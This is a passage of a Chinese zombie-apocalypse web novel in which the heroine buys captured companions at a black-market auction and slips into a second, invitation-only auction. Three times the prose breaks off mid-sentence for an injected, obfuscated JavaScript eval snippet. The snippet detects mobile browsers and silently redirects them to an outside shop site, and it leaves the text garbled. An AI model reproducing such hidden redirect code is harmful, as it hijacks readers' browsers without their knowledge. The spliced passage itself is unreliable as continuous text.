“但是,黑市的拍卖会一共有两轮,第一轮拍卖会下午三点开始进场,四点正式开始,以晶核为单位拍卖,只要进场时支付一个二阶晶核换取号码牌,就能参与拍卖,拍卖只在一楼进行。” 池遥点点头。 “第二轮拍卖会,只有持有邀请函的贵客才可以参与,到了晚上七点,第一场拍卖会的客人全部离开后,就会有全副武装的保安把这里围起来。贵客们开始入场,那些开豪车进园区的都是第二轮拍卖会的客人。我们这些人都没见识过第二轮拍卖会,据说这些贵客拍卖用的不是晶核,而是黄金。而且那些稀有的宝物,能力者,丧尸,都只会在第二场拍卖会中出现。” 池遥心中警钟一响。 看来,她要救的韩厢月,卢淼,陈霄等人都会出现在第二轮拍卖会上。 这可如何是好? 96. 丧尸马戏团6 除了韩厢月等高等丧尸,以及现在还在她车上的心悦,被阿霓杀死的两位幸存者,只剩下了四位幸存者。 这四人一定会出现在第一轮拍卖会当中。 时间已经到下午三点,陆续有人进入黑市帐篷,池遥四处看了一圈,拉着张扬过去排队,拿到号码牌后,一起进场。 马戏团帐篷内部的空间比看起来更宽阔,舞台空间极大,舞台中部还延伸出一条长平台,形似走秀的T台。舞台下的座位按照拍卖号码牌排列,池遥和张扬的位置虽然靠前,但有些偏,并不引人注目。 场内的人还不多,二人入座后,还有不少位置空着。 池遥看了一眼表,距离拍卖开始还有半个小时,或许是因为还在进场阶段,帐中的光线很暗,她抬起头,默不作声地观察二楼的构造。 二层中心是和一楼相似的观众席,两侧则是封闭包厢,池遥在入场时就观察过,通往二楼的楼梯被障碍物拦住了,此时二楼一个人也没有。 至于包厢,由于被遮挡得严严实实,池遥看不清里面究竟是否有人。 刚刚缴费入场时,除了号码牌,还有黑市举办方附送的小册子,里面包含了接下来要进行拍卖的拍卖品。 池遥翻开小册子简单看了看,大多数物品都是她能够猜到的东西,丧尸横行的背景之下,拍卖品中大多数都是各大基地新研发的产品,例如能力屏蔽仪,丧尸诱捕饵料,也有些武器装备等,例如用高分子材料制作的防护服,声称无法被丧尸咬透的护甲,以及各种高杀伤力武器等。 而拍卖品中的人类,数量虽多,反而并不受重视,池遥翻遍整本小册子,这次拍卖会共有十个普通人类,池遥的四名普通人同伴中,只出现了两个。 一时间,池遥不知道该庆幸还是遗憾,尽管人不全,但至少可以先把已知的两个同伴买下来,她手里的晶核数量还有很多,不担心拍不下人。 很快,一束聚光灯落在台上,拍卖会开始了。 池遥在台下坐着,号码牌和小册子都在张扬手中,他听从池遥的吩咐,一直没有举牌,坐在他身边的池遥则静静观察着周围的环境。 第一件拍卖品是一件电/击/枪,与池遥在隐山见过的那一把相似,最后以三块三阶晶核的价格成交。 接连几件商品过去,成交价格都在池遥预期之内,这中间也上来了一位被拍卖的人类,但台下的顾客们显然对武器的兴趣远远大过人类,无人举牌,那位人类满脸惶恐地被流拍了。 每一件拍卖品的起价都是一枚二阶晶核,最后的成交价大多数以三阶晶核为单位,很少有人掏出四阶晶核,一旦有人喊价四阶晶核,立刻就会收获来自四面八方的惊奇目光。 看来,尽管第二次变异潮后出现了四阶和五阶丧尸,但数量还是很少的,池遥也只见过一次四阶丧尸。 而五阶丧尸,恐怕还没人见过。 很快,拍卖进程过半。 “接下来要上场的十三号商品,是一个四肢健全,身体健康的人类。”拍卖师一挥手,两个保安领着一个被五花大绑的男人,走上了台。 在这之前上场的所有人类,只有一个人被买下,池遥也逐渐发现了不同。 像这种五花大绑牵来的,大概是黑市通过特殊渠道绑架来的人类,而主动走上台的,则是自愿拍卖自己的人类。 终于,池遥见到了熟悉的人。 她指尖轻轻点一下张扬的手,对方似乎误解了她的意思,反手把她的手掌握得紧紧的。 “让你举牌。” 池遥只好开口。 “那么,起拍价一颗二阶晶核,拍卖开始!” 清脆的锤声响彻全场。 果然,这一次,还是没人举牌。 拍卖师表情不变,显然是见惯了这种情况发生。 然而,很快,一枚号码牌颤巍巍地举了起来,紧接着,张扬的声音响起。 “两枚二阶晶核。” 无人竞价。 台上被五花大绑的人惊恐地朝发声处看去,他看不太清,只能看到一个隐约的轮廓。 然而,他却发现,举着号码牌的人身旁坐着一个娇小的身影,看轮廓是个女人。 不安定的心终于落回原地。 “两枚二阶晶核一次。” “两枚二阶晶核两次。” “两枚二阶晶核三次。” “恭喜,拍卖成交,拍卖结束后带着您的号码牌去服务中心,届时我们会将您的商品打包送上。” 紧接着,张扬又以同样的价格拍下另一位同伴,进程相当顺利。 拍卖会结束时,时间还不到六点,池遥注意到,不知何时起,观众席四周冒出了不少穿黑衣的保安,混在离开的人群当中,在排队离开帐篷时,门口的工作人员回收了张扬手中的号码牌,引领二人绕过人流密集的出入口,沿着环形走廊来到无人的背侧,这里就是服务中心了。 池遥注意到,服务中心吧台旁有一个半开的小门,似乎可以直接通向帐篷外面,但从里面能看到门外站着两个穿黑衣的守卫。 看到二人,拍卖师立刻迎了上来,热情地与张扬寒暄几句,收下张扬手里的二阶晶核后,就将连在手腕上的两根绳子递给了张扬。 这两条绳子另一头连接着里面的小房间,张扬试探地扯了一把,池遥的两个同伴就从小房间中现身,他们的脖子上戴着项圈,张扬手中的绳子就连接着他们的项圈。 “这两个人很幸运啊。”拍卖师一边拿钥匙替二人打开项圈,一边和张扬闲谈。 “流拍的人类是要送去实验室当实验品的,你买下了这两个人,之后无论让他们做什么,本质上都是救了他们一命。” 张扬绷紧嘴角,点了点头,见他神色严肃,拍卖师也闭上了嘴,只解下了两个人的项圈,放长了两个脚镣之间的锁链,让他们能够正常行走。手铐和脚镣依旧没有解开。 “这是为了防止他们逃走。”拍卖师把钥匙交给张扬,解释道。 有外人在场,两个幸存者尽管见到了池遥,也没表露出任何欣喜的情绪,各自垂着头,一声不吭。 离开帐篷后又走了好长一段距离,找了一个无人的街角,池遥才停下脚步,拿走张扬衣兜里的钥匙,主动为两人解开手铐脚镣。 “你们还好吗?” “池小姐!”此时,二人终于哭出了声。 这两个人年纪都比池遥大不了几岁,十分年轻,还不能完全掩饰自己的情绪,池遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713223|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到他们的表情,心中一沉。 “你们的事我已经听心悦说了,我记得你们应该一共有四个人的,其他两个人呢?” “我们被入侵庄园的女人带走之后,她让我们上了另一辆车,车上除了我们还有好多人。李哥他们俩想跳窗逃跑,被当场射杀了。” 不好的预感成真了。 一时间,池遥也不知道该怎么安慰他们,想了半天,只冒出一句。 “我已经把那个入侵庄园的女人杀掉了。” 想到张扬还在身边,池遥抬头对上他的目光,手指在嘴边比划了一个拉拉链的动作,张扬立刻会意点头。 听了池遥的话,两个人才慢慢冷静下来,池遥继续开口。 “你们知道其他人,就是韩厢月他们去哪儿了吗?” “韩厢月他们下车的时候就被另一伙人带走了,说是要留着拍卖给贵客。韩厢月,卢淼,陈霄都是这样。”幸存者说,“起初,我们还靠陈霄的能力维持交流,但从中午开始,陈霄就断联了,不知道他们现在什么情况。” “你们交流的时候,他说过什么吗?” 池遥问。 “没,他只问我们的情况,从来没说他自己的事。”幸存者惭愧地低下了头。 目前,人类发明出来的能力屏蔽仪只能屏蔽能力者的能力,无法屏蔽高等丧尸的能力,因此,如果陈霄断联,一定是他出了什么事。 可是,既然黑市的人打算把他作为拍卖品卖给贵客,应该不会对他下太重的手。 池遥又低头看了一眼手表,此时已过六点,还有一个小时,第二轮拍卖会的贵客就能入场了。 “池小姐。”这时,一直没说话的另一位幸存者主动开口。 “怎么了?” “我们......我们也想变成韩厢月那样。”为了不让张扬察觉,他的话很轻,语气却非常坚定,“您一定有办法的吧?” 池遥的空间里的确还剩下四个小瓶子。 可是,如果连这两个人都变成了高等丧尸。 那么她的队伍里真的就只剩下她和心悦是普通人类了。 “这种事应该去找霍云初,他现在已经离开了。”池遥叹了口气,没同意,这两个人并没有受伤,还没有到像前几个人那样凶险的境况。 “而且,我不能确定你们不是一时兴起,一旦变成那个样子,就真的没有回头路了。” 这两个人是幸存者当中,池遥印象比较深刻的两个人,二人年纪比她大不了几岁,一个外向健谈,名叫钱朗,另一个相对沉闷一些,名叫岳明。 然而,这一次,一只温热的,属于人类的手紧紧握住了池遥的手。 “池小姐,被人保护的感觉,看着亲朋好友死在面前却无能为力的感觉,我们已经受够了。” 另一个人也握住池遥的手,两个人各握住池遥的一只手,眼神恳切。 池遥沉默了。 这两个人的感觉,她也不是没有过。 在很久很久以前,被人保护的人是她,眼睁睁看着别人死亡的人,也是她。 “我知道了。” 最终,她在二人掌心各放了一个小瓶子。 “你们,不后悔就行。” 97. 丧尸马戏团7 兜兜转转,又回到了解压客栈三楼的房间里。 带着两个人,池遥和张扬又一次从小门进的客栈内部,幸好客栈内仍旧充斥着各种声音,没人发现她和张扬偷偷外出了一趟。 喝掉霍云初的血液,已经陷入昏迷的两个人被五花大绑,放在地板上,池遥反复确认自己的绳结足够结实,才站起身来,拍拍张扬的手臂。 “这两个人就拜托你了,你的房间真的绝对安全吗?” 就在不久前,池遥将小瓶子递给两人后,两人立刻就要接过喝掉,还是池遥先制止了他们,他们此时还在黑市范围内,并不安全,喝掉鲜血后会有足足几个小时陷入昏迷,她没法留在原地等他们醒来。 “那去我的房间怎么样?我的房间不会有任何人进。”张扬在一旁开口。 “真的吗?” 见池遥没有阻止,二人立刻感激地看向张扬,喝掉了小瓶子里的液体,下一秒整整齐齐昏迷倒地。 “是绝对安全的。”张扬点点头,“我一天只接一位客人,除了当天的客人之外,所有人要进我的房间都要经过我的允许。我外出时会锁门,房门钥匙只有我有。” 听他这么说,池遥放心多了。 “那就好,跟我下楼,我要去找店长结账。” “姐姐,你不留下来和我玩了吗?”听到池遥的话,张扬嘴角一撇,上前几步拉住了她的手。 池遥在心里算了一下,从她第一次进入张扬的房间起,已经过去了将近五个小时,她总共要付给解忧客栈老板四块二阶晶核,这实在不便宜,她在黑市买下两个人也是同样的价格。 “你太贵了。”她轻轻拍拍对方的手,“再多留几个小时,我就付不起了。而且我还有事要出去一趟,还会回来找你的。这两个人交给你照顾,照顾他们的时间和费用等我回来的时候直接交给你不好吗?” “我是喜欢姐姐才照顾他们,不是为了钱的。” 池遥一把拉住还在原地犹豫的人,快步下楼。 果然,店长一看到他们两个,笑得见牙不见脸,明显是赚了一大笔钱,池遥无奈地交出超时补交的晶核,张扬看起来很舍不得她,一路把她送出门。 “姐姐,我还有一件事。” 一直把池遥送到情报区,张扬才停下脚步,耳朵有些发红。 “我的遥控器,还在你那里。” 池遥迅速掏出那颗烫手的小遥控器,动作太急,不知误触了哪个开关,只听一阵隐密的机器发动声,对面人高马大的青年立刻跪倒在了她面前,脸色一瞬间红透了。 “不好意思不好意思。”池遥快速关掉遥控器,想要递给他,反而被原样推了回来。 “不用了,反正你还会回来找我的,到时候再给我也不迟。”张扬扶着墙颤巍巍站起来,长处一口气,过分红润的面色慢慢恢复了正常。 池遥见他没事了,才把遥控器收起来,目送张扬的身影走回客栈。 接下来,就要想办法混入第二轮拍卖会了。 距离黑市帐篷还有一段路程,远远看到,黑市入口被围得水泄不通,不时有车辆停在入口前,从车内走出的人给门口的守卫出示了什么东西,就顺利走了进去。 有没有办法弄来一张邀请函呢? 不远处,又开来一辆加长林肯车,几名黑衣保镖下了车,外形与翁老身边的保镖相似,一名保镖拉开后车门,走下了一个穿着考究的年轻人。 四名保镖簇拥着他向入口走去,而门口的一个保安则接过保镖手里的车钥匙,朝着停在门口的车子走去。 看到年轻人的脸,等在门口的负责人神色立刻变得谄媚起来,连邀请函都没查,就点头哈腰地把人迎了进去。 看来偷邀请函也未必有效,这些人多半认得贵客的模样。 池遥双手扒着车底,感受到车子发动的震动,立刻收回思绪,浑身绷紧,四肢紧贴着车子底盘,不敢有任何松懈,幸好,不到一分钟,车子就停下了。 果然,她猜得没错,这些贵客进入黑市帐篷中后,车子也会被开到帐篷背侧的空地上停好,这里距离帐篷更近,更容易潜入。 刚刚,趁着所有人的注意力都在青年身上,她以最快的速度藏进了车底。 帮贵客开车的保安下了车,走向帐篷对面一间空置的小店门前,推开门走了进去。 池遥从车底溜出来,透过门缝,看到保安的身影已经消失在店内,而小店的隔间当中,有一道向下的楼梯。 池遥立刻推门进去,小心翼翼地下了楼,全程悄无声息。 楼下的空间没有一丝光线,视野受限,池遥深吸一口气,抬手捂住眼睛,几秒后慢慢放下手,双眼渐渐适应了漆黑的环境,很快就看清了周围。 她身处的地下室比她想象得还要大,四周都是被锁住的大型笼子,笼子里关押着的物体奇形怪状,有些看起来像是变异兽,却长着人脸,有些看起来是人形,但却具有动物的特征。 难道又是这里的科学家在进行的非法研究? 池遥习惯性使用了一点能力,身体却忽然僵住,进入地下室后,她的能力再度失效了。 这里也有屏蔽仪? 为什么这里会有屏蔽仪? 屏蔽仪只能用来隔绝能力者的能力,无法用来牵制丧尸,这屏蔽仪自然不是用来管控她的,那么...... 池遥突然看向笼子里的东西。 能力者包括天赋者和变形人,觉醒者也算在其中,而这个世界见到的能力者却全部是天赋者,至今为止,她还没见过变形人。 故乡的变形人大多长得和丧尸无异,因此池遥也默认变形人就是那个样子,但她此时脑海中回荡着殷蘅曾经说过的话。 ——并不是所有变形人都是丧尸形态,不同人变成变形人后表现出的特征各不相同。一部分陷入疯狂状态,一部分保留原本意识,但都由于物种转变出现难以克制的生物本能,比如变形,杀戮,繁殖等等。由于大部分会显现出变形的特征,而被叫做变形人。 这些被关押起来的,全部都是变形人! 压制住心中的惊讶,池遥慢慢向前继续走。 笼子里的变形人似乎受制于屏蔽仪,无法使用能力,不知为何,大多都陷入昏睡状态,少有的几个有意识的也只是坐在原地发呆,完全没有注意到不远处的池遥。 不过,池遥并不清楚变形人的视力是否经过强化,若是普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723883|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通人,在这样无光的环境下,是不会看到她的。 走了半天,也没有看到之前那名保安的身影,他既然要回帐篷内还车钥匙,这里一定有通往帐篷内部的道路。 继续向前走,果不其然,没过一会儿,隐隐看到前方有光源,朝着光的方向走去,就看到一条向上的台阶,这条台阶通向服务中心附近,池遥小心翼翼地凑近观察,能听到嘈杂的说话声,外面聚集了不少工作人员,现在还不能上去。 没办法,池遥又退回了关押变形人的笼子前,认真观察起了笼子里的变形人。 与她印象中的差别很大,这里关押的变形人有不少和变异兽看起来十分相似,大部分变形人都具有明显的兽化特征。 走到最角落的笼子前,笼子里的变形人正醒着,一双睁开的眼睛毫无神采,身体僵直,像一尊无生命的石像。 又或者,他整个人本就和石像没什么区别。 几个月不见,他皮肤上的裂痕更重了,看起来触目惊心,池遥走近几步,仔细打量着他的模样,过了好一会儿,才轻声开口。 “陈佑。” 这个人,正是当时与池遥一同经历香林山景点的变形人陈佑。 听到自己的名字,陈佑身体动了动,朝着池遥的方向扭过头,眼珠左右动了动,但他显然无法在黑暗中视物。 “还记得我吗?我是池遥。”池遥主动介绍自己,对方被关在笼子里,对她没什么威胁。 “是你。”陈佑沉吟片刻,点了点头。 “你是怎么被关进来的?许赫呢?”池遥对他并不感兴趣,更在乎跟着他的许赫的安危。 “我长得太引人瞩目,被人算计卖到这里。”陈佑的状态颓废极了,“许赫跟着能力者的队伍走了,他好得很。” “他走了?你们之间不是有契约在吗?” “我的能力被屏蔽了,契约自然不生效了。” 原来是这样,听到许赫安全的消息,池遥松了口气。 “你是什么时候被抓来的?”她问。 “一个月前。” 池遥点点头,见到陈佑后,她就想起了老熟人许赫,又想到乐园情报区的寻人启事,本想向陈佑打听一下,但他恐怕不知道这事。 池遥与陈佑没什么瓜葛,也对这人没什么好感,结束问话后便离开了。陈佑看不见,池遥走路没有响声,在池遥离开好一会儿后,他才意识到池遥已经走了。 不久后,趁着服务中心附近无人,池遥迅速上楼,一楼观众席的入口处有保安把守,池遥索性溜上了二楼。 二楼的观众席也坐满了人,池遥没朝观众席方向走,而是去了无人的包厢走廊,没走几步,前面包厢的门开了,几个眼熟的黑衣人相继走了出来,背对池遥去了走廊另一侧。 池遥在心里松了口气,她还记得这几个黑衣人,正是她躲藏的那辆黑色加长林肯车上的人,若是她没记错的话,这辆车的车主身边只带了四位黑衣人,而眼前出房间的足有三个黑衣人。 也就是说,房间里除了那名年轻人以外,此时只剩下了一个黑衣人。 身后有脚步声传来,池遥不敢耽搁,趁着前方的门还没关严,立刻闪身躲了进去。 98. 丧尸马戏团8 房间里果然只有一个黑衣人! 趁着对方没反应过来,池遥先发制人,迅速抽掉他的生命力,只留一点点生机让他不至于死亡,才扭过头,与房间里最后一个人对视。 正是当时从林肯车中走出的青年。 初次见他的时候,池遥一心思考混进帐篷内的办法,并没有注意他的长相,而此时,她才发现,面前青年长相完全是她喜欢的类型! 青年身形高而清瘦,面色苍白,五官线条温润柔和却丝毫不显得寡淡,与池遥对视时,眼眸倏地低垂下去,没有展露出任何攻击性,他只是安静地站在原地,整个人如同一汪清泉,气质温柔清隽。 幸好屏蔽仪的范围只限制在地下,到了帐篷中,池遥的能力就恢复了正常。 趁面前的青年没动,池遥一把攥住他的手,另一只手拿出一把刀,抵在青年的脖颈前。 “不许动。” 然而,青年似乎完全没有被她唬住,他的目光平静地从她身上掠过,只打量了片刻就收回目光,神色仍旧毫无波澜,只是轻轻叹了一口气。 看上去虚弱而疲惫。 “你可以杀了我。”他喃喃道。 池遥没说话。 她攥着他的手,无意识动用了能力,因此,她能明显感知到,她手掌下紧攥的这只手所连接的,被她用刀尖抵住的这个人,垂坠感极强的高定西装之下,是一具伤痕累累,虚弱不堪的身体。 池遥甚至数不过来他身上的伤口数量。 这个人身上的伤口又多又杂,似乎以刀伤为主,但每一道伤痕都很严重,而且,他的腿上也有诸多刀伤,正常人腿上受了这么多伤,本应该难以行走,他却表现得像个没事人一样,只脸色苍白一些。 这是怎么做到的? “我还有三位保镖在房间外,几分钟后就会回来。如果你想动手杀我的话,麻烦尽快,这样你还有机会逃走。” 他的声音有气无力,又轻又柔,让池遥想到尚未变成高等丧尸时的韩厢月。 只是,他的长相比韩厢月更有文气,气质也更淡一些。 “我不是来杀你的。”池遥话虽这么说,但没放下手中的刀。面前的青年看似柔弱,但受这么重的伤却仍旧气定神闲地站着,他可能比看上去更为强韧。 她的目光扫过青年露在外面的脖颈,自她的刀尖贴在青年皮肤上后,对方动都没动一下,池遥一直控制着力道,此时他的脖颈只是微微破了一点皮。 “可你的刀……似乎并不是这么想的。”青年目光下移,冲她露出一个包容又无奈的笑。 刀尖抵着他的脖颈,令他无法低头,他只能将目光投到池遥手中的刀柄,笑意有些勉强,眼里的神采却很清明,目光黯然。 “我问什么,你说什么。”池遥再次学起了林北辰的语气。 “杀死我之前还要套情报啊……”青年长叹一口气,“请您问吧。” 不知为何,池遥隐隐觉得,他似乎把池遥认成了其他的人,并且坚定不移地认为池遥的目的是杀他。 如果顺着他的话说,会迷惑对方吗? “除了四个保镖,你还带了什么人来?” 池遥冷声问。 “我哪里需要带那么多人,这次来这里只是私人行程,基地的人不知道。” 基地? 他口中的基地又是哪个基地?北方基地吗? 毕竟,他身边的保镖们和当初在翁老身边的保镖着装十分相似。 “你有什么目的?” “我的目的和你背后的人想得到的东西无关。”青年静静地看她,“是我自己的私事,你们无需在意。” “还有问题要问吗?” 不等池遥开口,他再次问道。 池遥一愣。 “那请等我一下。” 青年的指尖轻轻点了一下池遥的手背,另一只未被池遥束缚的手不知从哪儿掏出一只对讲机。 池遥攥紧了握刀的手。 “抱歉。”他轻轻开口,语气仍旧平淡,“不必去打听了,回车里待命吧,我这里有一个人就足够了。” 令池遥意外的是,他反而支走了在外的保镖。 “明白,沈少爷。” 等等,这人......姓沈? 池遥猛地抬起头,重新打量青年的面孔。 池遥还记得,霍云初曾经提过,北方基地的沈家有两位儿子,小儿子沈观宴她已经见过,而另一位虽然不曾见过,但却一直很好奇。 面前的青年,体貌与沈观宴截然相反,却让人很难生出恶感。 “你是沈观宴的哥哥?” 青年收起对讲机后,她立即开口问道。 如果真是这样,她好像知道,在将韩厢月转化为高等丧尸那一晚,霍云初口中那位“很符合她理想型的朋友”究竟是谁了。 霍云初的眼光很准,的确很符合。 “我以为你早就知道了。”听到池遥的问题,对方的目光有些惊讶,“我叫沈观离,是林北辰让你来杀我的吗?” 怎么哪儿哪儿都有林北辰的事? 听到熟悉的名字,池遥在心中吐槽了一句,却见到沈观离的目光再度落到她手中的刀柄上。 林北辰的这几把刀形状有细微差别,但刀柄根部有一圈浮雕花纹,篆刻着池遥看不懂的线条。 “这是林北辰的家徽,他所有的东西上都有这个符号。” 沈观离解释说。 “看来是我想错了,你不是林北辰派来的。我还以为是林北辰想要杀我。”他的表情肉眼可见地释然几分。 他可是沈观宴的亲哥哥,林北辰会想要杀他吗? 池遥脑海中回想起霍云初的话,沈家的两位少爷在竞争继承权,这二人的确是竞争关系,但难道已经发展到你死我活的地步了吗? “我和他们交情不深。”池遥坦诚交代自己和林北辰沈观宴的关系,紧盯着沈观离的眼睛,试图解读几分情绪,可惜,什么都看不到,对方的目光很柔和,很平淡,平淡到不剩什么东西,只留下一片虚无。 “我和沈观宴的关系不差。”青年思考了一会儿,回答道,“不必顾及我,我弟弟有向你提过我的事吗?” “没有。” 她只和沈观宴见过一面,说过的话不超过十句,当时沈观宴的心思全放在霍云初身上。 于是,沈观离又弯起眼睛笑了笑。 “那么,现在可以放下刀了吗?我们似乎没什么非动手不可的理由,而且,我也不愿意看到你受伤。” 很奇怪,他似乎完全笃定他不会有事。 这个人的能力究竟是什么? 沈观宴的能力应该和爆炸有关,十分强劲,作为与他竞争继承权的哥哥,沈观离的能力恐怕不比沈观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737463|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴弱。 池遥谨慎地收回刀,却没收回拉着他的手,确保自己随时都能抽空他的生命。 “现在可以说,你来这里的目的了吗?” 她问道。 看来,黑市的人绝对知道沈观离的身份,因此才对他态度谄媚,但沈观离来这里做什么?他要解决的,是什么私事? “我只是一个想参与拍卖会的普通客人而已,”沈观离苦笑着转身,伸手将房间茶几上一本硬壳书递到池遥手里,“这是拍卖品名单,今晚的拍卖会上会拍卖三只高等丧尸,我的手下提前得到了消息。” 池遥立刻翻开精装外壳,里面放着熟悉的小册子,翻开第一页,上面记录着今晚最重磅的商品,正是池遥的三位同伴,只是,照片上的三人却被关在冷冻柜中,面色惨白,双眼紧闭。 原来是被冷冻了,怪不得陈霄无法联系他们。 “我想来看看它们是什么形态。然后把三只高等丧尸全买下来,再做下一步打算。” 沈观离轻声说。 池遥盯着他没说话。 “我并非要用那些高等丧尸做什么,我不会把他们带到北方基地的,如果你想要的话,也可以拍下来送给你。”沈观离似乎看透了池遥的目的,“其他基地对丧尸的研究不及北方基地,急需高等丧尸作为实验品,我只是不想让它们落到其他人手中而已。如果你或者沈观宴需要,我可以转赠。” 池遥仍旧没开口,她想不到拒绝沈观离的理由,不仅是因为沈观离态度诚恳,堪称瞌睡来了送枕头。 更重要的是,她手里的小册子上清清楚楚写着,高等丧尸起拍价为黄金一两。 没错,价格单位不再是晶核,变成了黄金。 “五十克黄金起拍。”沈观离的目光也看向了她手上的书页,“我带了足够拍下三只高等丧尸的黄金,刚才的话你可以考虑一下。” “你有什么条件?” 最终,池遥妥协。 “条件?”沈观离怔忪几秒,“我没什么想要的。非要说的话,你叫什么名字,应该不是北方基地的人吧?” “我不是北方基地的人。”池遥摇摇头,“我叫池遥。” “那......池遥小姐,拍卖会结束后,把我带走吧。我从北方基地消失,对于沈观宴和林北辰他们来说是天大的好事。”青年的音量极轻,仿佛在自言自语。 池遥没有回答。 自然是不能答应沈观离的,他对于池遥而言太陌生了,而且在救出韩厢月三人后,池遥还没决定好下一步要去哪儿。 到底是回到白眉镇,还是去找新的落脚点,一切都是未知。 沈观离的身份太高,自己如果真的带走他,反而会多出很多麻烦。 然而,就在她还在组织语言回答时,包厢之外突然传来了一阵音乐声。 “啊,开始了。”沈观离拾起茶几上的遥控器,按下几个按键,茶几两侧的沙发对面厚重的窗帘突然自行拉开,窗帘后是一扇巨大的落地窗,远方的舞台一览无余。 二人身侧的大屏幕也自动亮起,屏幕里清晰显示着此时台上的景象。 “到时间了。”沈观离叹了口气,带池遥走到沙发边坐下,似乎完全不在意她未出口的回答。 “拍卖会前会有长达一小时的热场演出,现在演出正式开始了。” 语气平淡到漠然,隐含厌恶。 99. 丧尸马戏团9 激烈的音乐声从舞台上响起,充盈在帐篷内的每个角落,最先上台的是一位穿着旗袍,性别难辨的美人,似乎是末日前这个世界的明星,甫一上台,就收获了台下激烈的欢呼声。 从上往下看去,尽管距离舞台远了一些,想看到台上的清晰景象还是要依靠大屏幕转播,但从二层看一楼的观众席却能看得分外清楚,尤其是有不少见到明星后激动的从座位上站起来的客人,池遥能够很轻易地观察到这些客人。 这里很适合在高处观察观众席的反应。 台上的美人站在立麦前,清清嗓子,开口时,发出了一连串空灵又悠扬的吟唱声,声音十分特别,如同在深邃的海底发出来的一般,池遥再回到大屏幕前,通过转播镜头,清晰地看到屏幕里的人,紧握立麦的手背上,长满了鳞片,诡异而美丽。 “这些是变异种。”注意到池遥的眼神,沈观离以为她不知道,开口解释道,“那位是末日前一个很出名的歌手,即使变成了变异种,人气还是很高。” “很多人成功觉醒了能力,但是身体发生了变异,甚至陷入疯癫状态,这种人就被称为变异种,很多人认为第二次变异潮是由变异种引发的灾难,因此现在各大基地都禁止变异种进入了。” 听到这里,池遥顿时确定了,沈观离口中的变异种,就是变形人。 “为什么会认定是变形人……变异种引发的?有什么根据吗?”池遥还是第一次听到这种说法。 “因为第二次变异潮中,除了丧尸和单纯发高烧的普通人以外,有不少人变成了变形人。” 沈观离跟着池遥的习惯称呼起了变形人。 这是之前在霍云初口中未曾得知的情报。 “因为这些原因,现在大型基地已经不接收变形人了。只有实验室,研究所,还有黑市这种需要变形人做研究或牟利的场所才会出现变形人。” 沈观离冲池遥解释了一句。 池遥想到自己从地下过来的路上经过的,一整排关押着变形人的笼子。 “原来是这样。” 台上的变形人歌手唱完,收起麦克风,款款离开。 紧接着,从幕布后走出一大群变形人,这些变形人身上几乎没几片布料,屈辱地袒露处身上发生变异的部位,有一个女人的下半身变成了蛇尾,有一个男人的下肢变成了牛蹄,还有人的双臂变成了翅膀。 这些人身上能够看出明显的被鞭笞过的痕迹,明晃晃的伤口和血痕就暴露在众人面前,而这些变形人如同马戏团中被驯养表演的动物一般,上了台后跟着音乐机械性的展示自己异于普通人类的身体。 让池遥想起被关在动物园里,已经产生刻板行为的动物。 盯着舞台上的景象,池遥不由地蹙起了眉头,而落地窗之下的观众席中则爆发出强烈的叫好声,道德标准崩坏的末世之下,看热闹不嫌事大的观众们甚至对着台上的变形人,频频吐出污言秽语。 池遥又看向身后的沙发,沈观离单手托腮,目光有意偏开对面的落地窗和大屏幕,盯着手臂下的茶几台面发呆。 他显然也不喜欢下面的表现,甚至可以说是厌恶,可黑市迎合的是大部分贵客的喜好。 变形人演出得到了不少叫好声。 “你不喜欢变形人表演吗?” 打量了对面的人一会儿,池遥开口问道。 “我不喜欢。”沈观离摇摇头,却没说原因,目光苦涩地与她对视,迟疑半晌,补充一句,“可能因为我这个人,比较麻烦吧。” 池遥发现了,对面这个人会习惯性的把很多事归咎于自己的过错。 “我也不喜欢。”她微微收紧握着沈观离的手,试图将自己的想法传递给他。 “变形人其实和我们之间的区别......没有那么大,不该被当做异类来对待,这里太病态了。”说到一半,池遥停顿片刻,才继续说下去。 很久之前,她心中对变形人也存在着强烈的偏见。 “那,之后还会有你更接受不了的。”沈观离叹了口气,池遥发现他的脸色似乎更白了,似乎是因为他身上的伤口所致。 变形人的表演持续了二十分钟,到后半程,池遥和沈观离开始频频看时间,终于,舞台灯光再次黯淡下去,变形人演出终于结束了。 “拍卖会要开始了吗?” “演出还没结束。”沈观离撑着沙发扶手慢慢站起身,他的一只手被池遥拉着,池遥就顺势扶了他一把,跟着站起来,发现他来到了落地窗前。 “接下来就是最受好评的演出!” 灯光再次亮起时,熟悉的拍卖师走上台,客串主持人身份。 “只有在这里能看到的丧尸马戏团表演,献给大家!” 观众们头顶的灯光开始左右移动,最后统一聚集在台上,而在拍卖师身旁的,正是一只丧尸。 